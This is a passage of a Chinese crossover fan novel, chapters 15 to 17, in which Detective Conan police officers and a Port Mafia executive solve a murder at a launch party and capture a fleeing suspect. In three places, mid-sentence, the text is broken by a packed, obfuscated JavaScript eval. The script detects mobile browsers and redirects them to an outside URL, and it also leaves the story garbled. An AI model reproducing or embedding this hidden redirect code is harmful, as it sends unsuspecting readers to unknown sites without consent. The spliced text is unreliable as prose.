他说完,就踩着高跟鞋,“风情万种”地去吧台和调酒师要酒了。 “松田警官。”面无表情的雾岛光希侧过脸,冰冷的目光从高桥的背影上移开,“你有这么开心么。” 松田阵平勾起唇角,他戴着墨镜,双手插在口袋里,语气十分欠揍:“这话应该是我说的吧,早上你从佐藤那听说有人把我车胎炸了的事,你不也这么高兴。” 江户川柯南半月眼。 【别刺激雾岛警官了,松田警官,雾岛警官看起来是真的想把你和那位先生一起解决了】 “那就先这样。”日井会长朝目暮警部点了下头,“目暮警官,我先去后台准备,待会就按之前的计划拜托您了。” “啊?……等等,不要单独行动啊!”目暮警部看着日井会长匆匆离去的背影,由于制止无果,沉沉地叹了口气。 他本来就头疼,一转头,看到自己[你是不是想打架][来啊,我怕你不成?]的两个恶人脸部下就更头疼了。 “什么什么,我错过了什么?”刚停好车,从快捷通道里进来的毛利小五郎发现目暮警部的表情,他看了离去的日井会长一眼,目光瞬间捕捉刚刚溜号的江户川柯南,“你个小鬼怎么又在这里!不是让你今天一起和小兰去海洋馆玩了吗!” “因为园子姐姐说一定要来这边啦~”江户川柯南躲开毛利小五郎的拳头,撒娇道,“然后小兰姐姐就和园子姐姐一起来了。对吧,园子姐姐?” “哼哼。”铃木园子叉腰,神秘地笑了笑,“我可是得到了特别消息,日井会长这次还邀请了那位出演《情歌》的男主角到场。” 确认完高桥的动向,安室透笑眯眯地接话:“是前段时间上映的那部电影吧。” “嗯?安室先生竟然也看了吗。” “因为梓小姐也很喜欢,所以给我看过一点剪辑的片段。” “总之真是国宝级的美貌。”铃木园子一脸向往,“虽然剧情方面有点薄弱啦,但男主角一出场,根本就忘了还有剧情这回事。” ……好耳熟。 雾岛光希反应了几秒,才从脑中翻出这部电影背后的投资商是港口黑手党的情报。 本质上是两年前拍了洗/钱的东西,听说写剧本的人只花了八个小时,上映后却莫名其妙火了。傻瓜鸟当时还高强度网上冲浪地给他发了很多据说叫什么二创剪辑的东西,说下次喝酒让公关官请客。 听到和公关官有关的电影,雾岛光希瞥了眼兴致勃勃的铃木园子。 那真是遗憾了,公关官是不会来的。 由于他前天干的好事,森先生现在都不让他去看公关官了。 啧,捏了下脸而已,公关官竟然故意憋气在森先生面前害他。 “你们几个都在聊什么啊。”身为冲野洋子死忠粉的毛利小五郎冷哼,“说到电影,当然是——” “毛利老弟!”目暮十三面色严肃地打断道,“现在不是谈这个的时候。” 毛利小五郎被吓了一跳,后知后觉地摸了摸后脑勺,发现自己好像是被邀请来抓某个凶手的:“对,对哦。” “中村先生。”就在这时,一道活泼的女声响起,“没想到您也会来参加这次的发表会,日井先生知道了一定很开心。” 安室透顺着声源看去,发现是前天那个负责准备盆栽的女人。 被她称呼为中村的男人虚弱地笑了笑,因为腿上打了石膏,所以还拄了两根腋下拐杖,看起来行动有些迟缓:“哈哈,是吗。日井在哪?” 作为日井会长的私人秘书,女人对日井会长的行程格外了解:“日井先生去了后台,因为刚刚喝酒的时候我不小心弄湿了他的衬衫,所以日井会长说要去换一件。” “那我去和他打声招呼。对了,禾子,我送他的礼物还在车上,待会可以拜托你帮我去拿一下吗。” 大野禾子点了点头:“当然了。” 尽管表面上这么客气,但中村先生内心的os却格外恶毒:【那心里有鬼的家伙可不会开心。听说这次还找了侦探和警察来,呵呵,就算请了福尔摩斯也帮不了他】 “不要都聚在一起。”目暮警部下令,“两两一队,如果发现了什么可疑人员,不要直接动手。毛利老弟,这次也麻烦你了。” “不麻烦不麻烦。”毛利小五郎挺直腰板,“这次包在我身上。” 【主要是日井会长支付的定金都被我拿去买洋子见面会的票了,咳咳,让我看看谁比较可——哇!那边那个肌肉都要把裙子撑爆的家伙是怎么回事!泰国拳击人妖吗!】 雾岛光希:……这家伙真的没问题? 雾岛光希想起之前在公园时江户川柯南用于瞄准藤原的手表,又后知后觉地记起毛利小五郎“沉睡的名侦探”的名号,隐约明白了点什么。 “说你呢。” 见雾岛光希发呆,松田阵平伸手,食指勾住他的后领,把他往自己这边拎了一下。 “雾岛,你两天一份报告都写不完,这次要是再在大庭广众之下把脚往人脸上踩,目暮警部也帮不了你。” 是凶手还好说。如果不是凶手,那这个视频一旦上新闻,搜查一课的名声就要毁于一旦了。 “!”雾岛光希被松田阵平的动作惊了一下。他张了张唇,正想说点什么,却在发现松田阵平从烟盒里撬出根烟后,微微停顿几秒。 “你抽烟?” 松田阵平瞥他一眼,指了指他头顶上三个[吸烟区]的大字。 “再说了。”松田阵平调侃道,“你这么一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267605|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本正经的,生怕别人不知道你是警察?” 雾岛光希:…… 他怎么记得以前松田不怎么抽烟的来着。抽烟的应该是…… 想起萩原研二的名字,雾岛光希一顿,随意地“哦”了声,没再找松田阵平的茬。 【他转性了?】 松田阵平狐疑地打量着难得没有反驳自己的雾岛光希。 【不会真被刚刚那个恶趣味的家伙恶心到了吧?这人好像只有在女朋友给他发短信的时候才会有好脸色,难道想到他女朋友了?】 雾岛光希面不改色,路过松田阵平的时候动作行云流水地踩了对方一脚。 能不能不要老是把森先生想成他女朋友,怪恶心的。森先生只是喜欢买小裙子了点,喜欢天天拿着小裙子哄爱丽丝穿给他看了点,归根结底还是男的,男的和男的怎么在一起。 发觉雾岛光希的小动作,远处的安室透无语了一瞬。 “雾岛先生明明是警察,看起来却更喜欢单独行动。”站在安室透脚边的江户川柯南说道。 “可能是因为警护课的任务更在意保护对象的隐私性,所以单独行动的比较多吧。”安室透低头,笑着和江户川柯南说。 “如果是这样,安室先生就不会一直盯着雾岛警官了。”江户川柯南顶着那张小学生的脸,笑盈盈的,“所以安室先生果然也有点在意雾岛警官吧。” 同样的姓氏姑且不提,还有同样无视警察守则不符合要求的发型,加上根本没有任何“团结友爱”可言的行为方式—— 安室透实在很难不把他和自己已经死去的同伴联系到一起。 “松田警官也很在意雾岛警官。”在安室透的注视中,江户川柯南继续推理道,“虽然也有那个叫[日影光希]的犯人的影响因素在,但松田警官前天在警视厅加班的时候,一直有意无意地观察雾岛警官往咖啡里加牛奶的动作,我猜,松田警官以前肯定是认识和雾岛警官——” “柯南。”安室透微笑着打断他,瞥了眼吧台的高桥一,“我只是毛利老师的徒弟而已哦。” 江户川柯南一愣,会意地扬起笑脸:“知道啦,那我去找小兰姐姐。拜拜~” 【看来安室先生是带着那个组织的任务来的,那个稀奇古怪的家伙竟然是组织要接触的人吗】 【等等,这么一说,既然日井先生和高桥先生关系很好,那日井先生也可能知道组织的存在?】 意识到组织的关系网远比自己想象的要庞大,江户川柯南眼镜后的神色严肃,认真地观察着四周。 周围的灯光在这时突然熄灭。紧接着,在人群的议论声中,一束光打在角落。一个长款的落地话筒按照Plan B,出人预料地在自助台那边出现了。 紧接着,底下镂空的台子逐渐升高,以为这是日井会长特地安排的环节,人群自动地聚集过去,安静地等着升上来的日井会长说开幕词。 一滴血液落在地上,紧接着,鲜红色的液体顺着日井会长的脸,从他的礼帽深处蜿蜒而下,暴露在众人的视野里。安室透瞳孔骤缩,这才发现日井会长脖子和四肢上吊着的鱼线。 “啊——!!!” 混乱中,有人尖叫了一声。 “死人啦!!” 在去查看日井会长的体征前,安室透鬼使神差地看了安静地站在一边的雾岛光希一眼。 青年同样被死去的日井会长吸引了注意,可和其他的警察不同,雾岛光希的神色淡漠,仿佛这偌大的会场里,死了谁他都不会在乎。 恰好是安室透最讨厌的类型。 【连基本的同理心都没有……】 似乎是察觉到安室透的目光,雾岛光希撩起眼皮,不太在意地同样看向对方。 【竟然会是警察吗】 16. 第 16 章 日井会长被鱼线绑得像个行为艺术品,目暮警部把他放下来的时候,鱼线已经深深地勒进了他的脖子里,但抛开这点不谈,很显然是他额头上的那一个弹孔更为致命。 “怎么可能。”目暮警部皱眉道,“安检那边没有发现任何可疑的物品,在今天发表会开始前,警方也将这个地方检查了两遍,犯人究竟是怎么把凶器带进来的。” 受惊的宾客被疏散到了其他房间,在场的只留下了警方、侦探,以及部分可疑人员。 发表会开始以前,知道日井会长行踪的人不多。而松田阵平事后在更衣室的地上发现了血迹,以更衣室为第一案发现场推断,那里的门锁没有被撬开的痕迹,说明凶手应当是日井会长熟悉的人,而且是日井会长主动开门让他进去的。 和警方的关注点不同,雾岛光希不关心日井会长是怎么死的,他关心的是…… “讨厌啦~” 被高木涉拦下的高桥说。 “人家虽然听到了他要去更衣室这件事,但可是从头到尾都坐在吧台这里。” 一听到这人还能活蹦乱跳地讲话,雾岛光希牙都要咬碎了。 刚刚黑灯的下一秒,雾岛光希就展开了行动,他按之前计算的最短路线行走,结果很显然,有人凑巧地和他想到了一块去。 “这点雾岛警官和这位金发小哥可以给我作证,毕竟灯一亮,他们两个就突然站到我面前了。”高桥一说完,向安室透抛了个媚眼,“对了,小哥,你是做什么的,这身材练得不错嘛。” 呵呵。 雾岛光希心里的小人露出幸灾乐祸的冷笑。 降谷零也有今天。 “是这样没错。”目暮警官看过来的时候,安室透微笑着答道,自动忽略了高桥的后一句,“我听到那边有酒杯摔碎的动静,所以以为那边发生了什么,就想着过去看一眼。” “哦,是这样啊。”目暮警部没有怀疑他的说辞,“那酒杯又是怎么回事?” 吧台后的酒保惨白着一张脸:“刚刚黑灯的时候有人摸我,我吓了一跳,就不小心把酒杯摔碎了。” 听到他的话,高桥咧嘴,露出八颗牙齿的标志性笑容。 酒保:“……” 酒保:【啊啊啊啊——!工伤!!工伤啊——!】 雾岛光希被他的心声吵得耳朵疼。 “但高桥先生中途离开了五分钟吧。”安室透插话道,“就在这位酒保先生去往后面那个安全出口的时候,高桥先生似乎也跟了出去。” 酒保再次震惊:【卧槽,我那时候背后有人吗】 “这位小哥,这就是你的不对了。”高桥脸上的笑容不变,眼神里却多了几分威胁的意味,“我也是需要上厕所的嘛。说起来,你这么关注我,果然是对我有意思吧?” 安室透面不改色,看了眼旁边的雾岛光希:“是雾岛先生那个时候往旁边看了下,所以我才注意到的。” 高桥一愣:“等等,也就是说……”戴着戒指的手指再次点在雾岛光希的胸口,高桥故作娇羞,“嗐,兜兜转转,原来对我有意思的还是雾岛警官你吗。” 雾岛光希:…… 降谷零现在已经超越了松田阵平,变成了雾岛光希想要套麻袋打死的第一人。 【哼哼,不过我可不是去上厕所,日井那家伙突然打电话给我让我去更衣室一趟,说监听的仪器捕捉到了那个组织的加密代码,看来那群人现在已经混进来了】 高桥一的眼底冒出凶光。 【啧,我可不能被他们抓住,现在和这群警察待在一起反而安全点,等再过四五十分钟,接应的人也就来了】 【真不知道日井这家伙惹了谁,看在他多少帮了我的份上,等他们找出凶手,我勉强可以帮他报个仇】 雾岛光希听着高桥的心理活动,心想自己是绝对不可能让他溜走的。他今天就算是把这整座山炸了,也要把高桥这家伙打断腿,拖回港口黑手党。 “大野小姐。”松田阵平转头,看向旁边脸色苍白的大野禾子,“我记得日井会长之所以会去更衣室,是因为你递酒的时候不小心弄脏了他的衣服。日井会长去更衣室以后,你一直待在大厅吗?” 大野禾子嗫嚅着:“我,我也去了趟洗手间。因为隔间的纸巾用完了,我就逗留了一会,还问有没有人可以给我递点纸,但那时候的洗手间就只有我一个人。” “没错!”她忽然振作起来,“从日井会长离开到案发前后总共就只有这么点时间!既然那个时候我在洗手间里,那高桥先生的证词一定是假的!” ……她竟然还误打误撞地猜对了啊。 雾岛光希的心情微妙。 “这叫什么话。”高桥一瞪了她一眼,“不管是心理还是身体,我可都是彻头彻尾的男性,当然是去男厕所啊!女厕所有没有人和我有什么关系!” 大野禾子难以置信地看着他的烈焰红裙:“男人穿裙子吗?” 高桥一露出嫌弃的表情:“我爱穿什么穿什么,你管我呢?”他说完,立即给雾岛光希做了个wink的表情,“对吧,Honey?” 这辈子没被这么叫过的雾岛光希说不出话,沉默地走到了松田阵平的背后。 松田阵平挑眉,倒是没料到他这个时候忍不下去了。 “再说了。”为了不让惹祸上身,高桥一将矛头直指大野小姐,“听说前两天在你布置的盆栽里找到了手/枪之类的东西啊,不觉得很可疑吗?两次你都有嫌疑,该不会是第一次碰巧被警察发现,坚持不懈地干了第二次吧?” 大野禾子气得满脸通红:“都说了不是我!况且那天之后我就一直在本部工作,没来过这里!我也是要过安检的!你倒是说说我是怎么把枪带进来的啊!” “谁知道呢~”高桥一拨弄着他金色的波浪假发,“我又不是侦探~” “那中村先生。”佐藤美和子看着记录了大野禾子证词的笔记本道,“据大野小姐称,您中途离开了大厅十分钟,特地去了后台和日井先生打了招呼。” 被称为中村的男人点头:“虽然后台离这里不远,但因为我的脚不行,所以就多花了点时间。” 佐藤警官:“你那个时候有发现不对劲的地方吗?” “不对劲的地方……”中村沉吟,“这么说来,我那时候好像闻到了香水的味道,就跟这位穿裙子的高桥先生身上的一样。” 高桥一:【!】 高桥一:【这死瘸子还敢指认我!】 “肯定是在大厅的时候沾上的啦。”尽管内心已经想杀人灭口了,但表面上高桥一依旧从容不迫地答道,“而且你又是哪根葱啊?该不会是自己做贼心虚污蔑我吧?” “中村先生是当初日井集团的核心开发人员!”大野禾子对高桥没有丝毫的好感,替中村先生据理力争道,“日井集团起家的那个模型就是中村先生开发的!要不是中村先生因为生病从日井集团辞职,现在也是很厉害的高层!” 【最,最重要的是……】 大野禾子迅速瞥了中村先生一眼,耳梢微红。 “咳咳。”毛利小五郎清了清嗓子,“我知道了!” 江户川柯南一愣,捏着下巴的手松开,抬头看向满脸自信的毛利小五郎。 “大野小姐,你暗恋中村先生吧。”毛利小五郎分析道。 听到这话的中村顿了下,下意识地看向旁边的大野小姐,以后者支支吾吾的反应,差不多就是默认了这个问题的答案。 “像这种大公司,说是自己辞职,实际上和劝退没什么差别。你一定是因为暗恋中村先生,所以对日井先生怀恨在心,决定在这次发表会上对日井会长痛下杀手!” “哦!”目暮警部以为毛利小五郎真想通了,“毛利老弟,那凶器是藏在?” 毛利小五郎:“……” “哈哈,这个嘛。”毛利小五郎尴尬地看向别处,“我还没想到。” “。”目暮警部半月眼,也搞不明白这家伙怎么一下靠谱一下不靠谱的。 “呐。”在隔壁上演推理喜剧的同时,江户川柯南扯了扯中村先生的衣角,“中村先生,你的脚是怎么受伤的,看起来很痛的样子。” “几天前过马路的时候不小心被车撞了一下。”中村先生弯下腰,看在江户川柯南是小孩子的份上,很耐心地回答了他的话,“因为第二天就要出差,所以当时我还找医生开了止痛药,说来也巧,第二天我还在出差地方恰好碰到了也来出差的大野小姐。” “原来是这样。”江户川柯南装出恍然大悟的样子,不动声色地观察着中村先生打了石膏的右腿。 需要用到止痛药,看上去是很严重了。一般的骨折要么使用石膏固定,要么是用金属的外固定支架固定,但中村先生的右腿竟然同时用到了两种,这种在医学上称为复合固定模式,一般很少用到。 再加上之前预告函里提到的…… “我说,雾岛警官。”同样发现了江户川柯南注意到的奇怪之处,松田阵平没有多嘴,反而饶有兴致地看向躲在自己身后的雾岛光希,“你现在可不是警护课的警官,作为一名刑警,你怎么一点参与感也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267606|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有。” 雾岛光希懒得理他:“等有人在你胸口画圈圈的时候就知道了。” “嚯~”松田阵平扬了扬眉梢,“你害羞了?” “……啊,就是这样没错。”雾岛光希平静,已然不想在这方面花费太多的力气,“这种福气让给松田警官您就好。” “那真可惜。”松田阵平道,“人家只看中了你,谁让你完美符合人家黑长直的喜好。” 【再说了,这家伙纯情什么,警护课里的肢体接触就少了吗】 雾岛光希被气得深吸口:“……”真的,森先生下次要是再让他干这种事,他真的把头发染成红的。 “唉。”铃木园子在旁边叹了口气,“山脚下堵车,那位先生也没看到,早知道就和小兰一起去海洋馆了。” 毛利兰安慰她:“下个星期也可以去嘛。” “什么?”高桥一瞪大眼睛,“山脚下堵车了?” “是啊。”铃木园子挥了挥手机,“据说是有辆货车滑进了沟里,因为上山下山都只有一条路,所以要等救援车过来,把那货车拉出来才行。” 【可恶,那接应的人不就来不了了吗】 高桥一恨恨地咬牙。 【也不知道那个组织来了多少人,要是只有一个人的话……】 “你们几位到底行不行啊。”急着跑路的高桥一一改刚才悠闲的态度,趾高气扬道,“那边那个长小胡子的,没错,就是你,你是电视上那个名侦探吧,快点把凶手藏匿凶器的手法找出来,我可急着回去和我的小可爱约会呢。” 江户川柯南:“叔叔已经知道了哦!” 毛利小五郎:“??你这——” “没错。”安室透颔首,“毛利老师早就发现了不对劲的地方。” 毛利小五郎:“是,是这样吗?” 【杀害日井会长,并以这种方式将日井会长的尸体展示在大家面前的凶手……】 松田阵平没说话,他听着侦探三人组的对话,视线平淡地从早就推理出的凶手身上掠过,最后落在雾岛光希随意别在衣服上的胸针,隐约记得雾岛光也有类似的一个。 ——你为什么会喜欢这种东西。 ——不喜欢。 ——不喜欢还戴。 ——毕竟是重要的人亲手做的。 独一无二。松田阵平有次不小心训练的时候把它弄坏了,还被面无表情的雾岛光拖着根棍子,像背后灵一样跟在他后面监督松田阵平把它修好。 松田阵平还记得自己在发现里面的窃听装置时很严肃,结果雾岛光倒像是早就知道了一样,一点也不生气地把东西拿了回去,揣进口袋。 “松田警官。”感受到长久落在自己身上的目光,雾岛光希微微阖眼,眼瞳在细密的眼睫下挪向眼尾,看了注视着自己的松田阵平一眼,“现在到底是谁没有参与感。” 指认凶手的现场进入侦探的火热化阶段,松田阵平却双手插在口袋,视线和雾岛光希交汇,就这么安静地站了片刻,难得没有和他呛声。 ——就算是糟糕东西,是重要的人给你,你就会一直带着? ——嗯。 ——雾岛光,你到底有没有一点你自己是警察的认知? ——……没有。 松田阵平的耳边回荡起那天自己和满不在乎的雾岛光单方面吵架的内容,但这样的幻觉很快就被他那天气喘吁吁地跑回警察厅覆盖。 由于堵车,松田阵平那天在回去的路上就直接在马路上下了车,他越跑越快,越跑越快,跑得微卷的发丝被风吹得凌乱,然而甚至等他跑到楼上,伊达航就像是早有预料般地等在门口,对着他露出了个苦笑。 ——松田。 “松田警官?” ——我是看着雾岛摔下去的。 伊达航的声音和雾岛光希的嗓音交汇在一起,令松田阵平终于得以从那样痛苦的梦境中解脱。他的心跳很快,像是抓住了什么线索,却生怕惊扰对方般,故作轻松地将自己的注意力收回来,懒洋洋地说了句“什么叫没有参与感,我早就知道凶手是谁了”。 【最好待会找个独处的机会,这样雾岛想跑也跑不掉】 雾岛光希:“……” 雾岛光希像座雕塑般站着,他经历了复杂的心理活动,内心的Q版小人却一拳打到了松田的Q版玩偶上。 雾岛光希深吸一口气,他的眉眼冷淡,带了点难以置信的成分。 谁要逃跑。 松田阵平不会为了摆脱他这个所谓的新搭档,打算指认他是凶手吧? 17. 第 17 章 “毛利老弟,既然你都知道就不要卖关子了。”没注意到一边的动静,目暮十三背着手说道,“所以凶手到底是谁?又是怎么瞒过安检,将凶器带进这里的?” 根本不知道的毛利小五郎紧张:“这个……那个……遭了,好晕啊~” 伴随着一阵眩晕,毛利小五郎踉跄着靠着墙壁坐下,上演了经典的推理前沉睡的一幕。 雾岛光希看去,发现刚才还站在旁边的江户川柯南果然消失了。 “目暮警部。”毛利小五郎的声音低沉下来,“这两个其实是一个问题,因为满足能将凶器带进这里,并在极端的时间内让凶器消失的条件的人,只有一个——” “中村先生,就是你!” 雾岛光希偷偷松了口气。 中村先生的身形一僵,还没开口说话,大野小姐就焦急地替他辩解道:“中村先生连走路都困难,怎么可能杀完人后还把日井先生用鱼线吊起来,绑在升降台上呢!” “我记得前天提到中村先生的时候,日井会长的说辞是[中村先生生了场大病,最近两年才好起来,日井会长有邀请他重新回公司帮忙,但中村先生以身体为由拒绝了他]。”毛利小五郎补充道,“当然,这是在场的安室事后告诉我的。” “假设日井会长说的是真话,那么不觉得这句话和中村先生前一天严重骨折,第二天还要继续出差的行为矛盾吗。” 大野小姐:“那是因为事发突然,中村先生比较有责任心!” “刚刚大野小姐碰到中村先生的时候,中村先生以需要拄着拐杖为由,让大野小姐替他去车上拿东西,对吧?”安室透微笑道,“那么几天前,大野小姐见到中村先生的时候,中村先生也是一个人吗?” 一个连拿东西都不方便的职工,哪个公司会派他去和重要合作对象对接。就算是中村自己要求的,也一定会再临时派一个人和他一起。 让合作对象在谈判中还要充当“照顾者”的角色,这可是商业大忌。 大野小姐一顿,想起那时候中村先生自己拎着公文包,显然也意识到了这点。 “我那天……”大野小姐看向一旁沉默的中村先生,后知后觉地起了疑心,“那天大野先生的确只有一个人。” “退一步说,为了防止可疑人员混入会场,日井先生一天前临时决定,就算是宾客的司机也要进行登记。”松田阵平慢悠悠道,说话的时候瞥了莫名紧张起来的雾岛光希一眼,“我刚刚去查了一下登记表,中村先生似乎是自己开车来的吧。” 【又不关他的事,他紧张什么?】 “你的脚都成这样了,开普通的马路可能还能用勉强形容,但这可是稍不注意就会从山上掉下去的盘山公路。” 中村抬了下眼,没有否认这句,甚至虚弱地笑了下:“既然你们怀疑我,那请问我到底是怎么对日井下手的?” “八年前,苏格兰场,也就是伦敦警察厅公布了一起调查案件。”安室透阖眼,不紧不慢地做出陈述,“受害者是参与听证会的市议员,事后警方调查了每一个在场人员,但始终没有找到用于行凶的武器。” “证据就在石膏里。” 随着毛利小五郎这句话的落下,中村先生的脸色总算有了些变化。 “八年前的那起事件,最后被证明是凶手用了某种高强度的塑料,以拆分的方式藏在手臂的石膏里,当时总共开了两枪,一枪用于调整弹道,另一枪才是针对议员的袭击。” “不过,那需要非常强的狙击技术和潜伏能力,中村先生和那起事件的差别是,中村先生和日井会长的距离很近,不需要用两枪来确保命中。” “我好像记得那个案子……”高木涉回忆道,“凶手似乎到现在也没抓到,监控只拍到了个背影,据说是个十五六岁的男性。” 【最后变成了警察学院的入学教材,似乎苏格兰场那边最近已经有了点头绪】 佐藤美和子:“也就是说,这是一起模仿犯罪?” “不对。”江户川柯南躲在墙后面,用毛利小五郎的声音说,“那把枪的构造非常灵巧,苏格兰场没有公布细节。我想,正是因为中村先生复刻不出那样的材质和结构,所以才在石膏的基础上,加了骨折外固定的支架。” 支架是金属的,就算通过安检门时响起来,安保人员也不会觉得奇怪。毕竟这些棍子和钉子理论上是埋进中村先生的小腿的,总不能让人家拔出来。 “你根本没有受伤吧。”松田阵平看着脸色越来越难看的中村先生道,“只要把你的这些东西拆下来,送去进行硝烟检测,就能找到你犯罪的证据了。” 雾岛光希从刚才起就一直盯着松田阵平,发觉对方似乎没自己想得那么狡猾后,稍微为自己误解了对方而忏悔了0.1秒。 偌大的会场异常寂静,过了一会,中村掀起眼皮,表情忽然扭曲。 他近乎咬牙切齿地:“没错。当初我根本不是自己辞职,都是日井这人面兽心的家伙逼我的!” 大野小姐:“怎么会……” “我也是最近才知道。”中村面色阴郁地说,“我当时在医院里进进出出五六年,一直觉得身体不舒服,最后到了在病床上起不来的地步。要不是我昏迷的时候听到了日井电话的内容,我都不知道日井为了从我手里拿走专利,一直在给我下毒!” “凭什么!他用我制造出来的东西发大财!还想把我踢出局!” 【嗯?那倒霉蛋是他啊?】 高桥一眨了眨眼,隐约记得日井以前问自己要过某种难以检测的毒药。 【那这家伙真够命大的】 “那也不是你杀人的理由。”目暮警部正色,从口袋里拿出手铐,“中村秀人,我以谋杀罪的名义逮捕你,你有权保持沉默,但你所说的一切都将作为呈堂供证!” 【好了,就是现在,我偷偷地……】 趁所有人的注意力都在目暮警部的身上,高桥一悄咪咪地起身。 一,二…… “咦,高桥先生怎么不见了?” 高木涉左右看了看,发觉这边的氛围异常正经后,终于发现了高桥一已经不见了踪影。 “这么说来……”佐藤美和子疑惑,“雾岛怎么也不见了?” 铃木园子:“还有安室先生!” 高木涉震惊:“他们该不会真的——” “你在想什么乱七八糟的!高木!”佐藤美和子满脸通红,“松田也不见了!估计是发现高桥先生离开,跟着追出去的吧!” 高木涉不好意思地挠了挠头:“但高桥先生和这起谋杀案也没有关系,他们为什么要追他?” 说的也有道理。 佐藤美和子捂脸。 但再怎么有道理,她也接受不了高木设想的那个理由啊! 她宁愿相信是雾岛终于忍无可忍,把高桥拖出去偷偷打一顿了! - 高桥这边确实情况不太好。 他本来是打算直接溜到停车场,先把车开到山脚下再说的,结果他的车在他面前轰地一声自燃了,高桥一原地愣了几秒,很快反应过来这是那个组织为了防止他逃跑动的手脚。 好歹也当了这么多年黑手党,除了本身变态的手段外,高桥一本人也有些本事在身。他迅速做出判断,甩掉高跟鞋,躲进旁边的森林里。 然而背后追着他的人如影随形,高桥一跑得气喘吁吁,意识到一味地躲藏是行不通的后,终于在瀑布边停了下来。 “喂!”高桥一吼道,“不就是那个组织的人吗!给我出来!” 【反正不是那个金发小哥就是那个卷毛警察,那个卷毛警察的可能性更大点,又墨镜又黑西装的,生怕别人不知道他黑衣组织似的,这么嚣张】 高桥一在心里盘算着解决对方的办法,下一秒,在看到树林深处走出来的影子时,脸上却带了点不可置信的意味。 “是你?” 雾岛光希:“没看到松田警官真是抱歉了。” 高桥一再次上下打量了他一下。 【哇靠,贝尔摩德那女人谈生意不讲诚信!一年前我问他有没有我的理想型,她明明说没有的!】 雾岛光希沉默,没想到这人死到临头了还在这想乱七八糟的事。 “你这花拳绣腿的能干什么。”高桥一冷哼,这个时候反倒冷静下来,“事先说明,可不是我去你们研究所偷的资料啊,都是那个人提供给我的,冤有头债有主,你们找我也没用。” 哦。 所以琴酒他们组织要抓他,是因为这家伙把他们组织辛辛苦苦研究出来,打算卖大钱的东西,换汤不换药地以低一点的价格卖了吗。 雾岛光希懒得和他解释对方认错了人,毕竟反派死于话多。 “所以嘛~”见雾岛光希在考虑自己的话,高桥一慢慢走进,满面堆笑,“我们谈个合作,你们不就是想要钱,我可以把我赚到的——” 示弱的笑容骤变,大部分雾岛光希并未对他的靠近做出什么反应后,高桥一瞬间提高音调。 “去你妈的!老子当年用拳头揍人的时候你这小子还不知道在哪里吃——” 高桥一的拳头在距离雾岛光希还有几厘米的时候停下,他的计谋破裂,愣愣地低头,看向自己脚下本该松软的土地。 虽然没见过那位瘟神,但高桥一凝视着上面的倒计时,对于[人体炸/弹]的威名还是有所耳闻。 现场的氛围突然变得诡异起来,高桥一沉默了好一会,才鼓起勇气抬头,面对某种自己似乎死定了的可能。 “……你是那个雾岛?” “。” “……那个狠心起来,把自己的家人脑袋都能捏爆的雾岛?” “……” 什么奇怪的传闻。 雾岛光希懒得开口纠正对方,而正是他这种懒惰的行为,令高桥痛苦地确认了对方的来历。 【我刚刚到底做了什么,早知道他是那个雾岛,就算让我去调戏日本天皇我也不敢调戏他啊!他不是瓦里安的人吗,不对,之前好像听人说过,他现在应该是在港口黑手党,港口黑手党抓我干什么?难道是——】 “我真不知道那是港口黑手党的人!”高桥一极力辩解道,“是[兄弟会]下面的家伙为了赚钱自己卖的!我都和他们说了不要去横滨卖那种药了!” 【妈的,一群蠢货拖累老子,去异能力者的地盘上卖针对异能力者的药,这和去港口黑手党头上拉屎有什么区别】 雾岛光希安静地看着面前的诡异人妖。 这家伙说他是瓦里安的人就算了,现在还说要跑到他头上拉○? 倒计时从一分钟迅速归零,高桥一捂着自己的腿嗷嗷直叫,叫了半分钟才从恐惧中缓过神来,发现自己预想之中的爆/炸并没有发生。 他“嗯?”了声,刚疑惑地低下头,耳边却传来拳头划破空气的声音。 下一秒,比他刚才还要狠厉的拳头,从正面硬生生地砸到了他的脸上! 高桥一整个身体被打飞出去,他沾着鲜血的牙齿滚落在地,后脑勺撞击在啄木鸟停留的树干,两眼一翻,彻底晕了过去。 丧失意识前,高桥翻着白眼想到:【他哪来……这么大劲……】 雾岛光希拧了拧手腕。青年看着身材修长,实际上薄薄的一层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而就在雾岛光希干出这种恐怖故事的前一秒,影子似乎因为主人异能的视线而缓缓散开。雾岛光希一顿,迅速意识到这是由于太宰治的[人间失格]。 他看了眼自己胸口别着的胸针,刚想收起异能,一只手就从上方拽住他的衣领,强硬地把他从河底拽了出来。 空气毫无预兆地钻入鼻腔。雾岛光希猝不及防地呛了口水,刚想反手抓住揪着自己的人的手,给对方来个过肩摔,脑袋却在此时被后者狠狠地拍了一下。 雾岛光希:“。” 雾岛光希不可置信。 他洇湿的衬衫贴在身上,额前沾湿的碎发捋到脑后,光洁的额头下,是湿漉漉的睫毛和沾着水珠的鼻梁。 黑手党人见人怕的干部那双灰色的眼睛里满是难以置信的意味,雾岛光希被人用刀捅过,被子弹打中过喉咙,就是没这么屈辱地被人在后脑勺上扇了一巴掌。 